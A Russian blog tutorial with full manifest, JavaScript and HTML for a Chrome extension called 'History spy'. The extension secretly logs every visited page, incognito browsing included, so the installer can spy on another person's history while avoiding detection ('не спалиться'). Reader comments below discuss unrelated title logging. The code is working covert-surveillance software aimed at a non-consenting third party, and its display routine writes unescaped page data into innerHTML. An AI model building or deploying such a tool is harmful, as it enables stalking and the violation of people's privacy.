Пишем расширение для Google Chrome - History spy

Отмазка Вступление

Иногда очень хочется "подглядеть" за кем-то, просмотрев историю посещения страниц. Но, это не всегда удаётся, ведь историю посещений можно очистить. Да и не только это - в Хроме есть "режим инкогнито", при работе в нём вообще не пишется история.

Исправим ситуацию

Решение:
  1. Написать расширение, которое будет мониторить табы, записывая всяческую информацию о посещениях
  2. Заставить расширение работать также и в incognito mode
  3. Не спалиться :)

Что ж, приступим..
  1. В любом месте создаём папку, именуем как угодно
  2. Создаём manifest.json в ней. Формат - JSON. Манифест - паспорт расширения.
    Листинг:
    1. {
    2. "name": "Mr. Trololo", //имя расширения
    3. "version": "0.1", //версия
    4. "description": "History spy.", //описание
    5. "icons": { //иконки - не обязательно
    6. "48": "48.png",
    7. "128": "128.png"
    8. },
    9.  
    10. "background_page": "main.html", //воркер
    11. "options_page": "main.html", //настройки расширения
    12. "permissions": [ //разрешения
    13. "tabs", //доступ к tabs api
    14. "unlimited_storage" //безлимит места под хранение данных
    15. ]
    16. }
    Почитать: спецификация по манифестам
  3. Теперь займёмся нашим воркером.. Он-то и будет делать всю "грязную" работу :)
    Что требуется от воркера:
    • Повесить event listener на событие onUpdated табов
    • Обрабатывать каждый вызов события, записывая информацию о посещениях в localStorage
    • При вызове настроек расширения (у нас воркер отвечает и за это, для простоты) предоставить интерфейс для просмотра истории посещений, а также её очистки.

    Для начала реализуем javascript ядро воркера, которое будет подключаться из main.html
    Листинг main.js:
    1. /*
    2.   @collection
    3.   Sorry for my bad Javascript ^_^
    4. */
    5. m = {
    6. key: 'history', //key for local storage
    7. ls: window.localStorage, //local alias
    8.  
    9. /* Clear stored data */
    10. clearData: function() {
    11. m.ls.removeItem( m.key );
    12. m.ls.setItem( m.key, "[]" ); //initialize our var' as JSON's array
    13. },
    14.  
    15. /* Get stored data helper */
    16. get: function() {
    17. if ( m.ls.getItem( m.key ) == null ) { //var' isn't initialized
    18. m.ls.setItem( m.key, "[]" );
    19. }
    20.  
    21. /* Local storage provides only string saving. Using JSON for [un]serializing arrays */
    22. return JSON.parse( m.ls.getItem( m.key ) );
    23. },
    24.  
    25. /* Set stored data helper */
    26. set: function( v ) {
    27. m.ls.setItem(
    28. m.key,
    29. JSON.stringify( (m.get()).concat( [v] ) ) //concat prev' and present data, JSON it
    30. );
    31. },
    32.  
    33. /* Callback for event listener */
    34. callbackTabs: function( id, i, tab ) {
    35. if ( tab.status == 'complete' ) { //event fires 2 times: "loading" and "complete" states
    36. m.set( { //store that
    37. date: m.date(),
    38. favIcon: tab.favIconUrl || '',
    39. url: tab.url || '',
    40. title: tab.title || '',
    41. incognito: tab.incognito
    42. } );
    43. }
    44. },
    45.  
    46. /* Ugly date format helper */
    47. date: function() {
    48. d = new Date();
    49. return '' + (
    50. ( d.getDate() > 9 ? d.getDate() : '0' + d.getDate() ) + ' ' +
    51. ['January','February','March','April','May','June','July','August',
    52. 'September','October','November','December'][d.getMonth()] +
    53. ' ' + d.getFullYear() + ', ' +
    54. ( d.getHours() > 9 ? d.getHours() : '0' + d.getHours() ) + ':' +
    55. ( d.getMinutes() > 9 ? d.getMinutes() : '0' + d.getMinutes() ) + ':' +
    56. ( d.getSeconds() > 9 ? d.getSeconds() : '0' + d.getSeconds() )
    57. );
    58. },
    59.  
    60. /* $(id) getter */
    61. $: function( id ) {
    62. return document.getElementById( id );
    63. },
    64.  
    65. /* Helper for decomposition of an URL */
    66. parseURL: function( url ) {
    67. var a = document.createElement('a');
    68. a.href = url;
    69.  
    70. //some extra parts are commented, we don't need 'em
    71. return {
    72. /* source: url,
    73. protocol: a.protocol.replace(':',''), */
    74. host: a.hostname,
    75. /* port: a.port,
    76. query: a.search,
    77. params: (function(){
    78. var ret = {},
    79. seg = a.search.replace(/^?/,'').split('&'),
    80. len = seg.length, i = 0, s;
    81. for (;i<len;i++) {
    82. if (!seg[i]) { continue; }
    83. s = seg[i].split('=');
    84. ret[s[0]] = s[1];
    85. }
    86. return ret;
    87. })(),
    88. file: (a.pathname.match(//([^/?#]+)$/i) || [,''])[1],
    89. hash: a.hash.replace('#',''), */
    90. path: a.pathname.replace(/^([^/])/,'/$1')/* ,
    91. relative: (a.href.match(/tp://[^/]+(.+)/) || [,''])[1],
    92. segments: a.pathname.replace(/^//,'').split('/') */
    93. };
    94. },
    95.  
    96. /* Displaying history helper. History iterator */
    97. displayData: function() {
    98. var html = ''; //dirty working with DOM
    99.  
    100. (m.get()).forEach( function( v ) {
    101. p = m.parseURL( v.url );
    102.  
    103. html += '<li><span>' + v.date + '</span> ' + ( v.incognito ? '<strong>incognito mode</strong> ' : '')
    104. + '<a href="' + v.url + '"><img src="'
    105. + ( v.favIcon ? v.favIcon : ('http://www.google.com/s2/favicons?domain=' + p.host) ) + '"/>'
    106. + ( v.title ? v.title : ((p.host + p.path ).substr( 0, 80 )) ) + '</a></li>';
    107. });
    108.  
    109. m.$( 'putHere' ).innerHTML = html;
    110.  
    111. return false;
    112. }
    113. };
    114.  
    115. /* Add a tabs listener */
    116. chrome.tabs.onUpdated.addListener( m.callbackTabs );
    Код отлично комментирован, как мне кажется
  4. Теперь сам воркер, обычная html страница с подключением скрипта + небольшой интерфейс.
    Код:
    1. <script type="text/javascript" src="main.js"></script>
    2. <style type="text/css">
    3. #putHere {
    4. list-style-type: none;
    5. }
    6. span {
    7. color: #ddd;
    8. -webkit-transition: 1s;
    9. }
    10. span:hover {
    11. color: #000;
    12. }
    13.  
    14. #putHere a, strong {
    15. margin-left: 20px;
    16. text-decoration: none;
    17. }
    18.  
    19. img {
    20. margin-right: 7px;
    21. position: relative;
    22. top: 3px;
    23. }
    24. </style>
    25. <ul>
    26. <li><a href="javascript:m.displayData()">Show</a></li>
    27. <li><a href="javascript:( m.clearData() || m.displayData() )">Clear</a></li>
    28. </ul>
    29. <ul id="putHere"></ul>
  5. Расширение, в принципе, готово :) Добавим в Хром..
    1. Ctrl+T, chrome://extensions/
    2. Включить режим разработчика
    3. "Загрузить распакованное расширение..", выбираем папку, которую создавали в самом начале
    4. Если всё прошло без ошибок, то ставим галочку "разрешить работать в автономном режиме" и радуемся. Если нет - действуйте по обстановке, Хром скажет в чём и где ошибка расширения.
Ну а теперь самое время проверить, работает ли действительно :) Походите по страницам, запустите режим инкогнито - тоже "посёрфите" немного.. Надоело? Тогда идём на страницу с расширениями, и открываем настройки нашего свеженаписанного :) Ссылка "Show" может заставить кого-то покраснеть однажды..

P.S. Страница расширения на Google Chrome Extensions

5 комментариев:

  1. Подскажите, как можно реализовать следующее:

    слушаю музыку на zvooq.ru, исполнитель - композиция отображаются в title вкладки.

    Как заставить сохранять историю изменений заголовка только этой страницы (только с сайта zvooq.ru)
    Как сохранять/записывать эти изменения в файл? нужно для дальнейшей обработки (например отображения в CONKY)

    вроде бы ваш скрипт подходит, если модернизировать его, пока дилетант в этом, возможно вообще так сделать ?

    ОтветитьУдалить
  2. Наверно все таки не подойдет, zvooq.ru меняет заголовок страницы без перезагрузки самой страницы

    ОтветитьУдалить
  3. В принципе… возможно.
    Только концепция приложения другая.

    Задать в манифесте scope доступа на zvooq.ru, повесить событие по таймеру и проверять, изменился ли title:
    var window.titleWas = window.title;
    setInterval(function checkTitle() {
    if (window.titleWas != window.title) {
    //обработчик изменения
    }
    }, 1000);

    Самая проблема — «сохранять/записывать эти изменения в файл», так как данные возможности отсутствуют в javscript'е.
    Выход из ситуации: делать через NPAPI (http://code.google.com/chrome/extensions/npapi.html и ссылка с той страницы на Mozilla Found.), тогда плагин будет иметь полный доступ к системе в контексте пользователя, запустившего процесс. Я не знаком с CONKY, но, как я понял — с ним получится работать.

    Если есть опыт прикладного программирования — можете пробовать :)

    ОтветитьУдалить
  4. Либо, dirty workaround: вешаете обработчик (комментарий выше), который при изменении заголовка делает XHR-запрос на локальный HTTP-сервер, на стороне которого (средствами PHP или чего-то ещё) делается та самая запись в файл.

    Решение лёгкое, но установить ваше расширение до конца сможет только маньяк, помешанный на выводе текущего трека в CONKY :)

    Если для себя — вполне сгодится.

    ОтветитьУдалить
  5. Нужно написать не сложное расширение для chrome , у кого есть знания в области написания расширений обращайтесь Skype: vladel1

    ОтветитьУдалить